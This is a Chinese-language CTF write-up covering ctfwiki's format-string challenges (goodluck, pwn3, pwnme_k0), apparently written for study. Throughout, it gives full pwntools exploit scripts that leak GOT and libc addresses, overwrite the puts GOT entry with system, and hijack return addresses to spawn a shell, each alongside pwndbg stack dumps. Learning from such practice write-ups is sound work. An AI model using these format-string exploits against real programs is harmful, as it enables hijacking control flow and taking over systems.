Eureka's Studio.

Fomatstring

2023/10/31

ctfwiki格式化字符串部分题解

goodluck

特殊情况

这道题比较特殊 一般的题目是不会把flag加载进堆栈中的 在printf结束时断下时

1
2
3
4
5
6
7
8
9
10
11
pwndbg> stack 50
00:0000│ rsp 0x7fffffffe568 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
01:00080x7fffffffe570 ◂— 0x61000001
02:00100x7fffffffe578 —▸ 0x602ca0 ◂— 0x61616161 /* 'aaaa' */
03:00180x7fffffffe580 —▸ 0x6022a0 ◂— 0x0
04:00200x7fffffffe588 —▸ 0x7fffffffe590 ◂— 0x7365747b47414c46 ('FLAG{tes')
05:00280x7fffffffe590 ◂— 0x7365747b47414c46 ('FLAG{tes')
06:00300x7fffffffe598 ◂— 0xffff0a7d33323174
07:00380x7fffffffe5a0 ◂— 0xffffffffffff
08:00400x7fffffffe5a8 ◂— 0x9252308373e55000
09:0048│ rbp 0x7fffffffe5b0 ◂— 0x0

那么对于此题而言确实是比较刚好 只需要判断0x7fffffffe588是printf的第几个参数即可 由于是64位的缘故 还有6个寄存器 6+4-1=9 只需要输入%9$s即可 也可以用fmtarg

1
2
pwndbg> fmtarg 0x7fffffffe588
The index of format argument : 10 ("\\%9$p")

关于这种情况的就记录到此 毕竟在比赛中极少见 最后print一下即可

1
2
3
4
5
from pwn import *
sh = process('./goodluck')
payload = '%9$s'
sh.sendline(payload)
print sh.recv()

一般情况

对于一般情况 我们先分别拿32位和64位举个例子

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
char a[100];
scanf("%s",a);
printf(a);
return 0;
}

注意一点 无论是32位还是64位而言 payload的输入都得通过exp执行 手工输入会造成输入字符串不分组 无法提取所需数据 对于32位程序而言 情况和ctfwiki上面的差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./32')
elf = ELF('./32')
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
gdb.attach(sh)
__isoc99_scanf_got = elf.got['__isoc99_scanf']
print (hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) + '@@%7$s@@'
print (payload)
sh.sendline(payload)
sh.recvuntil('@@')
print hex(u32(sh.recv(4)))

由于手工输入payload无法观察真实情况栈结构 我们使用gdb.attach()函数 请注意 如果有读者和我一样使用的是pwndocker 那么得装个tmux docker内启动tmux 并设置context.terminal如上 在运行后需在gdb内设置printf函数断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> stack 25
00:0000│ esp 0xff9bc7bc —▸ 0x80484c5 (main+63) ◂— add esp, 0x10
01:00040xff9bc7c0 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32
02:00080xff9bc7c4 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32
03:000c│ 0xff9bc7c8 —▸ 0xf7fc7990 ◂— 0x0
04:00100xff9bc7cc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:00140xff9bc7d0 ◂— 0x0
06:00180xff9bc7d4 ◂— 0xc30000
07:001c│ 0xff9bc7d8 ◂— 0x1
08:0020│ eax 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32
09:00240xff9bc7e0 ◂— '@@%7$s@@'
│0a:00280xff9bc7e4 ◂— '$s@@'
│0b:002c│ 0xff9bc7e8 —▸ 0xf7fc7000 ◂— 0x2bf24
│0c:00300xff9bc7ec ◂— 0x0

可以看到从0xff9bc7dc开始 将payload分割为几个4字节进行存储 这样结合%7$s就很好明白了 对于@@@@的话 相当于打个标签吧 不过记得加上recvuntil()

1
2
3
4
5
6
7
DEBUG] Sent 0xd bytes:
00000000 14 a0 04 08 40 40 25 37 24 73 40 40 0a │····│@@%7│$s@@│·│
0000000d
[*] Process './32' stopped with exit code 0 (pid 39281)
[DEBUG] Received 0xc bytes:
00000000 14 a0 04 08 40 40 a0 03 d9 f7 40 40 │····│@@··│··@@│
0000000c

还有一个要注意的点就是 对于我们想要获取的got表 地址不能以00结尾 可以用这句查看

1
print hex(libc.symbols['scanf'])

对于32位而言 情况十分常规 但是此法在64位系统中略有不同 因为在64位系统中 虚拟内存的高16位永远是赋值为0 拿got表举例

1
2
3
4
5
6
7
8
9
10
pwndbg> got

/ctf/work/64: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

可以看到开头全是0 那么如果还是以got表地址打头 会直接导致后面的%n$s被截断 那么我们得把它反过来写 并且我们选择时也不能选择结尾为0的got表 不然一样会造成截断

1
payload = '@@%7$s@@'.ljust(0x20,'a') + p64(printf_got)

请注意 当你把got表地址放后面时 会导致所在参数位置的改变 此时我们需要重新设置一遍 不过既然涉及到这个问题 我们在输入时就必须注意padding的问题 我们必须让got表地址处于一个单独的栈单元内 这就需要我们对齐 32位不需要对齐是因为4字节比较少出现没对齐的情况

1
2
3
4
5
6
7
8
pwndbg> stack 25
00:0000│ rsp 0x7ffd8ffca558 —▸ 0x400588 (main+49) ◂— mov eax, 0
01:0008│ rdi 0x7ffd8ffca560 ◂— 0x4073243031254040 ('@@%10$s@')
02:00100x7ffd8ffca568 ◂— 0x6161616161616140 ('@aaaaaaa')
03:00180x7ffd8ffca570 ◂— 0x6161616161616161 ('aaaaaaaa')
04:00200x7ffd8ffca578 ◂— 0x6161616161616161 ('aaaaaaaa')
05:00280x7ffd8ffca580 —▸ 0x601018 (printf@got.plt) —▸ 0x7f8192b24cc0 (printf) ◂— endbr64
06:00300x7ffd8ffca588 —▸ 0x7ffd8ffca500 ◂— 0x0

可以看到 如上是实现栈对齐后的效果 fmtarg即可确定参数位置

1
fmtarg 0x7ffd8ffca580

最后就是输出 我们输入时可以看到我们的地址是6字节 然而我们输入的padding是会跟着输出的 格式也是打包好的 并且还有一堆乱七八糟的东西

1
�<\\xff��~@@aaaaaaaaaaaaaaaaaaaaaaa\\x18`

我们要前6字节 但是u64解包需要8字节 故exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
sh = process('./64')
elf = ELF('./64')
context.log_level = 'debug'
libc = elf.libc
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
gdb.attach(sh)
printf_got = elf.got['printf']
print (hex(printf_got))
payload = '@@%10$s@@'.ljust(0x20,'a') + p64(printf_got)
print (payload)
sh.sendline(payload)
sh.recvuntil('@@')
print hex(u64(sh.recv(6).ljust(8,"\\x00")))

我们最后回到goodluck那题 可惜就算这样他也还是不给我机会 只有关于flag的栈 耻辱下播

pwn

这题对于初学的我还是有点难度的 值得学习 此情况只有在部分reload时才可使用

准备工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
char s1; // [esp+14h] [ebp-2Ch]
int v5; // [esp+3Ch] [ebp-4h]

setbuf(stdout, 0);
ask_username(&s1);
ask_password(&s1);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}

main函数大致了解过程 输入username和password 然后选择一项服务 此题有三个重要的子函数 分别是put_file get_file show_dir 在此之前先说一下password函数

1
2
3
4
5
6
7
8
9
int __cdecl ask_password(char *s1)
{
if ( strcmp(s1, "sysbdmin") )
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}

这个strcmp有点东西 如果比较发现相等 返回值为0 而这个s1是username传来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_DWORD *put_file()
{
_DWORD *v0; // ST1C_4
_DWORD *result; // eax

v0 = malloc(0xF4u);
printf("please enter the name of the file you want to upload:");
get_input((int)v0, 40, 1);
printf("then, enter the content:");
get_input((int)(v0 + 10), 200, 1);
v0[60] = file_head;
result = v0;
file_head = (int)v0;
return result;
}

对于put_file而言 此函数首先申请一段内存空间 v0是指向开头的指针 两个get_input分别对v0所在空间输入40 200个字节数据 并且在v0的最后位置存储一个file_head值 在最初该值为0是因为file_head处于bss段 不过在每次调用put_file的最后 file_head都会被赋值为v0指针 因此在多次调用put_file时 会形成一个链栈结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]

printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 40);
return printf(&dest);
}
}
return printf(&dest);
}

get_file则是格式化字符串漏洞的触发函数 不过逻辑很简单就是了 把输入名字所在的那个链栈内容复制一下 然后printf 这倒是简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]

v5 = 0;
j = 0;
bzero(s, 0x400u);
for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
{
for ( j = 0; *(_BYTE *)(i + j); ++j )
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j);
}
}
return puts(s);
}

show_dir这个函数比较有意思 表面上看它也还是和get_file一样输出链栈内容 不过当我进行测试之后发现不太一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> r
Starting program: /ctf/work/pwn3
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>put
please enter the name of the file you want to upload:123
then, enter the content:abc
ftp>put
please enter the name of the file you want to upload:321
then, enter the content:bca
ftp>dir
321123
ftp>get
enter the file name you want to get:123
abcftp>dir
321123

get_file是输入put_file所输入的文件名 输出对应文件内容 而show_dir就只输出文件名(直到写wp时才明白这个show_dir名字是这个意思

HIJACK GOT

没有明显的flag痕迹 也没有明显的条件判断来执行shell等 那么尝试一波劫持got 将某个函数地址改为system的

1
get_file() put_file() show_dir()

能用到的也就这三个函数 put_file目前发现格式化字符串漏洞 但是get与dir都没有明显漏洞 在get_file中利用漏洞进行got表劫持是可以做到的 但是got表劫持所修改的函数必须要在后面被调用 而且system的话 还需要/bin/sh;参数 才能形成system(’/bin/sh;’)的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]

v5 = 0;
j = 0;
bzero(s, 0x400u);
for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
{
for ( j = 0; *(_BYTE *)(i + j); ++j )
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j);
}
}
return puts(s);
}

回到show_dir函数中 我们已经知道他只输出文件名 那么说明s我们是可控的 只需要put时输入即可 那么我们如果将puts的地址劫持 修改为system地址 即可实现getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import LibcSearcher
sh = process("./pwn3")
elf = ELF('./pwn3')
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i)-1)

def password():
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)

def put(name,payload):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(payload)

def get(name):
sh.sendline('get')
sh.recvuntil("enter the file name you want to get:")
sh.sendline(name)
data = sh.recv()
return data

#gdb.attach(sh)
password()
puts_got = elf.got['puts']
payload = '%8$s' + p32(puts_got)
put('1111',payload)
#puts_addr = u32(get('1111')[:4])
puts_addr = u32(get('1111')[:4])
#print hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr:' + hex(system_addr))

payload = fmtstr_payload(7,{puts_got:system_addr})
put('/bin/sh;',payload)
sh.recvuntil('ftp>')
get('/bin/sh;')

sh.sendline('dir')
sh.interactive()

不过 在编写EXP时 遇到了许多坑 首先是栈中参数位置的确定

1
2
3
4
5
6
7
8
9
10
00:0000│ esp     0xffa77aa0 —▸ 0xffa77abc ◂— 0x73243825 ('%8$s')
01:00040xffa77aa4 —▸ 0x90521d8 ◂— 0x73243825 ('%8$s')
02:00080xffa77aa8 ◂— 0x4
03:000c│ 0xffa77aac —▸ 0xf7dc226c ◂— 0x3787
04:00100xffa77ab0 —▸ 0xf7fa0a74 ◂— 0x0
05:00140xffa77ab4 ◂— 0x7d4
06:00180xffa77ab8 —▸ 0xf7fa02a0 (_IO_helper_jumps) ◂— 0x0
07:001c│ eax edx 0xffa77abc ◂— 0x73243825 ('%8$s')
08:00200xffa77ac0 —▸ 0x804a028 (puts@got.plt) —▸ 0xf7e24c30 (puts) ◂— endbr32
09:00240xffa77ac4 —▸ 0x8048c00 ◂— push ebx /* 'Serv-U FTP Server v6.4 for WinSock ready...' */

这是put完之后 运行到get时printf处的断点 可以看到此处的堆栈略有不同 我们首先使用fmtarg

1
2
pwndbg> fmtarg 0xffa77ac0
The index of format argument : 8 ("\\%7$p")

正常来说 我们设置的参数位置应该是%7$p 但是若真用7 那么定位到的内容是%7$s它本身 修改部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def get(name):
sh.sendline('get')
sh.recvuntil("enter the file name you want to get:")
sh.sendline(name)
data = sh.recv()
return data

password()
puts_got = elf.got['puts']
payload = '%7$p' + p32(puts_got)
print payload
put('1111',payload)
gdb.attach(sh)
print get('1111')

00:0000│ esp 0xffa94b60 —▸ 0xffa94b7c ◂— 0x70243725 ('%7$p')
01:00040xffa94b64 —▸ 0x82791d8 ◂— 0x70243725 ('%7$p')
02:00080xffa94b68 ◂— 0x4
03:000c│ 0xffa94b6c —▸ 0xf7d4f26c ◂— 0x3787
04:00100xffa94b70 —▸ 0xf7f2da74 ◂— 0x0
05:00140xffa94b74 ◂— 0x7d4
06:00180xffa94b78 —▸ 0xf7f2d2a0 (_IO_helper_jumps) ◂— 0x0
07:001c│ eax edx 0xffa94b7c ◂— 0x70243725 ('%7$p')
08:00200xffa94b80 —▸ 0x804a028 (puts@got.plt) —▸ 0xf7db1c30 (puts) ◂— endbr32

root@5c3176a78240:/ctf/work# python2 exp.py
[+] Starting local process './pwn3': pid 59656
[*] '/ctf/work/pwn3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
%7$p(\\xa0\\x04
[*] running in new terminal: /usr/bin/gdb -q "./pwn3" 59656
[+] Waiting for debugger: Done
0x70243725(\\xa0\\x04ftp>
[*] Stopped process './pwn3' (pid 59656)

可以看到 确实是0x70243725 不过为啥会这样我也不是很确定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> stack 25
00:0000│ esp 0xff9bc7bc —▸ 0x80484c5 (main+63) ◂— add esp, 0x10
01:00040xff9bc7c0 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32
02:00080xff9bc7c4 —▸ 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32
03:000c│ 0xff9bc7c8 —▸ 0xf7fc7990 ◂— 0x0
04:00100xff9bc7cc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:00140xff9bc7d0 ◂— 0x0
06:00180xff9bc7d4 ◂— 0xc30000
07:001c│ 0xff9bc7d8 ◂— 0x1
08:0020│ eax 0xff9bc7dc —▸ 0x804a014 (__isoc99_scanf@got.plt) —▸ 0xf7ded3a0 (__isoc99_scanf) ◂— endbr32
09:00240xff9bc7e0 ◂— '@@%7$s@@'
│0a:00280xff9bc7e4 ◂— '$s@@'
│0b:002c│ 0xff9bc7e8 —▸ 0xf7fc7000 ◂— 0x2bf24
│0c:00300xff9bc7ec ◂— 0x0

这是之前那个32位例子的栈结构 比较一下可以看到 此题的栈结构中缺少第一个main的返回地址 因为fmtarg是使用该地址与esp地址的差值进行计算的 所以参数可+1 不过我不是很确定 属于卡住的时候可以验证一下

1
payload = fmtstr_payload(7,{puts_got:system_addr})

然后是这句payload的目的是将puts的got表地址 修改为system的函数地址 不过该部分的参数不知道为什么又变成7了 应该是要与fmtarg函数返回的一样

HIJACK RETADDR

这题还可以用函数调用栈的方式来做

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:080487F6 get_file        proc near               ; CODE XREF: main+57↑p
.text:080487F6
.text:080487F6 dest = byte ptr -0FCh
.text:080487F6 s1 = byte ptr -34h
.text:080487F6 var_C = dword ptr -0Ch
.text:080487F6
.text:080487F6 ; __unwind {
.text:080487F6 push ebp
.text:080487F7 mov ebp, esp
.text:080487F9 sub esp, 118h
.text:080487FF mov dword ptr [esp], offset aEnterTheFileNa ; "enter the file name you want to get:"
.text:08048806 call _printf
.text:0804880B lea eax, [ebp+s1]

这是get_file的汇编代码 可以看到他先是入栈ebp 然后移动esp并空出118h的栈空间 这是函数调用时的操作 那么对于目前的格式化字符串漏洞而言 ebp所在地址距离esp有118h 也就是280 那么280/4 = 70 那么我们取第70个参数就能获取到get_file函数的ebp地址

1
2
3
46:0118│ ebp     0xff817f38 —▸ 0xff817f88 ◂— 0x0
pwndbg> fmtarg 0xff817f38
|The index of format argument : 70 ("\\%69$p")

结合之前对于参数的判断 确实第70个(实在不行再改成69) 复习一下 ebp是在call之后入栈的 而retaddr则是在call时就入栈的 二者不一样 我们此时获取的ebp是main函数(caller)的ebp 具体去结合函数调用栈的知识

1
2
3
4
5
Breakpoint 3, 0x08048670 in main ()
pwndbg> stack 25
00:0000│ ebp esp 0xffffd6e8 ◂— 0x0
01:00040xffffd6ec —▸ 0xf7decee5 (__libc_start_main+245) ◂— add esp, 0x10
02:00080xffffd6f0 ◂— 0x1

这是我在main函数处下的断点 请记住此时的ebp 至于为啥会出现esp和ebp在一起的情况 主要还是具体情况具体分析

1
2
3
4
5
6
43:010c│     0xffffd68c ◂— 0x0
44:01100xffffd690 —▸ 0xf7fbdd20 (_IO_2_1_stdout_) ◂— 0xfbad2887
45:01140xffffd694 —▸ 0xf7ffd990 ◂— 0x0
46:0118│ ebp 0xffffd698 —▸ 0xffffd6e8 ◂— 0x0
47:011c│ 0xffffd69c —▸ 0x80486c9 (main+92) ◂— jmp 0x80486e5
48:01200xffffd6a0 —▸ 0xffffd6b4 ◂— 'sysbdmin'

这是我在get_file处下断点获取的ebp值 可以看到此处的ebp有个箭头 箭头后的值正是main(caller)的ebp 这说明此时ebp指针的位置是0xffffd698 栈开始的地方是这个地址 该地址存储的是旧的(caller)的ebp值 多个调用的话情况类推

1
2
3
46:0118│ ebp     0xffa13918 —▸ 0xffa13968 ◂— 0x0
47:011c│ 0xffa1391c —▸ 0x80486c9 (main+92) ◂— jmp 0x80486e5
48:01200xffa13920 —▸ 0xffa13934 ◂— 'sysbdmin'

不过需要注意的是 我们获取的ebp的值是main函数的ebp值 他的值与当前的retaddr永远存在0x4c的差值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import LibcSearcher
sh = process("./pwn3")
elf = ELF('./pwn3')
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i)-1)

def password():
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)

def put(name,payload):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(payload)

def get(name):
sh.sendline('get')
sh.recvuntil("enter the file name you want to get:")
sh.sendline(name)
data = sh.recv()
return data

#gdb.attach(sh)
password()
printf_got = elf.got['printf']
payload = '%8$s' + p32(printf_got)
put('1111',payload)
#puts_addr = u32(get('1111')[:4])
printf_addr = u32(get('1111')[:4])
#print hex(puts_addr)

libc = LibcSearcher('printf',printf_addr)
printf_offset = libc.dump('printf')
system_offset = libc.dump('system')
bin_sh_offset = libc.dump('str_bin_sh')
system_addr = printf_addr - printf_offset + system_offset
bin_sh_addr = printf_addr - printf_offset + bin_sh_offset

put('getEbp',b'%70$p a')
tmp = get('getEbp')

ebp = int(tmp.split()[0],16)
ret_addr = ebp -0x4c

payload = fmtstr_payload(7, {ret_addr + 8: bin_sh_addr})
put('setSH', payload)
get('setSH')

payload = fmtstr_payload(7, {ret_addr: system_addr})
put('setSy', payload)
get('setSy')

sh.interactive()

HIJACK RETADDR 2.0

在解题的过程中也发现 其实也可以利用esp进行getshell 在比较特殊的情况中 劫持ebp可能会出现程序崩溃的情况 这个时候也可以劫持esp 因为在调用完了以后eip会走到esp的上面(高4字节

1
2
3
4
.text:0804866D                 push    ebp
.text:0804866E mov ebp, esp
.text:08048670 and esp, 0FFFFFFF0h
.text:08048673 sub esp, 40h

这是main开始对esp的操作 我们也可以在python中实现 大体不变 exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import LibcSearcher
sh = process("./pwn3")
elf = ELF('./pwn3')
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

tmp = 'sysbdmin'
name = ""
for i in tmp:
name += chr(ord(i)-1)

def password():
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)

def put(name,payload):
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline(name)
sh.recvuntil('then, enter the content:')
sh.sendline(payload)

def get(name):
sh.sendline('get')
sh.recvuntil("enter the file name you want to get:")
sh.sendline(name)
data = sh.recv()
return data

#gdb.attach(sh)
password()
printf_got = elf.got['printf']
payload = '%8$s' + p32(printf_got)
put('1111',payload)
#puts_addr = u32(get('1111')[:4])
printf_addr = u32(get('1111')[:4])
#print hex(puts_addr)

libc = LibcSearcher('printf',printf_addr)
printf_offset = libc.dump('printf')
system_offset = libc.dump('system')
bin_sh_offset = libc.dump('str_bin_sh')
system_addr = printf_addr - printf_offset + system_offset
bin_sh_addr = printf_addr - printf_offset + bin_sh_offset

put('getEbp',b'%70$p a')
tmp = get('getEbp')

ebp = int(tmp.split()[0],16)
esp = (ebp & 0x0FFFFFFF0) - 0x40
ret_addr = ebp -0x4c

payload = fmtstr_payload(7, {esp + 4: bin_sh_addr})
put('setSH', payload)
get('setSH')

payload = fmtstr_payload(7, {esp - 4: system_addr})
put('setSy', payload)
get('setSy')

sh.interactive()

当然这种情况就要具体问题具体分析了

pwnme_k0

其实会了上面的那题的hijack retaddr的话 这题就很简单了 只不过他是64位的 fmtstr_payload就不能用了 得覆盖大数字

1
2
3
01:0008│ rbp 0x7fffe630b620 —▸ 0x7fffe630b660 —▸ 0x7fffe630b710 ◂— 0x0
02:00100x7fffe630b628 —▸ 0x400d74 ◂— add rsp, 0x30
03:0018│ rdi 0x7fffe630b630 ◂— 'aaaaaaaa\\n'

0x7fffe630b660 - 0x7fffe630b628 = 0x38 接下来需要获取返回地址

1
2
3
4
5
6
7
.text:00000000004008A6 sub_4008A6      proc near
.text:00000000004008A6 ; __unwind {
.text:00000000004008A6 push rbp
.text:00000000004008A7 mov rbp, rsp
.text:00000000004008AA mov edi, offset command ; "/bin/sh"
.text:00000000004008AF call system
.text:00000000004008B4 pop rdi

所以还需要覆盖后三位即可 或者全覆盖也行

1
2
0x4008A6 ---> '4196518d%11$hn'
0x8A6 ---> '2214d%11$hn'

默认情况都是从尾端开始覆盖的

1
2
3
A%11$hhn ---> 0x88888801
A%11$hn ---> 0x88880001
A%11$n ---> 0x00000001

题目分析就略过了 逻辑比较简单 exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
sh = process('./pwnme_k0')
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def reg(name,passwd):
sh.recvuntil('Input your username(max lenth:20):')
sh.sendline(name)
sh.recvuntil('Input your password(max lenth:20):')
sh.sendline(passwd)

def show():
sh.sendline('1')

def update(name,payload):
sh.sendline('2')
sh.recvuntil('please input new username(max lenth:20):')
sh.sendline(name)
sh.recvuntil('please input new password(max lenth:20):')
sh.sendline(payload)

#gdb.attach(sh)

name = 'aaaaaaaa'
passwd = '%6$p'

reg(name,passwd)
sh.recvuntil('>')
show()
#ebp = int(sh.recv()[11:25],16)
#print ebp
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38

#ret_addr = ebp - 0x38
print hex(ret_addr)

payload = '4196518d%11$hn'
payload += p64(ret_addr)
print(payload)

update(name,payload)
sh.recvuntil('>')

show()
sh.interactive()
CATALOG
  1. 1. goodluck
    1. 1.1. 特殊情况
    2. 1.2. 一般情况
  2. 2. pwn
    1. 2.1. 准备工作
    2. 2.2. HIJACK GOT
    3. 2.3. EXP
    4. 2.4. HIJACK RETADDR
    5. 2.5. HIJACK RETADDR 2.0
  3. 3. pwnme_k0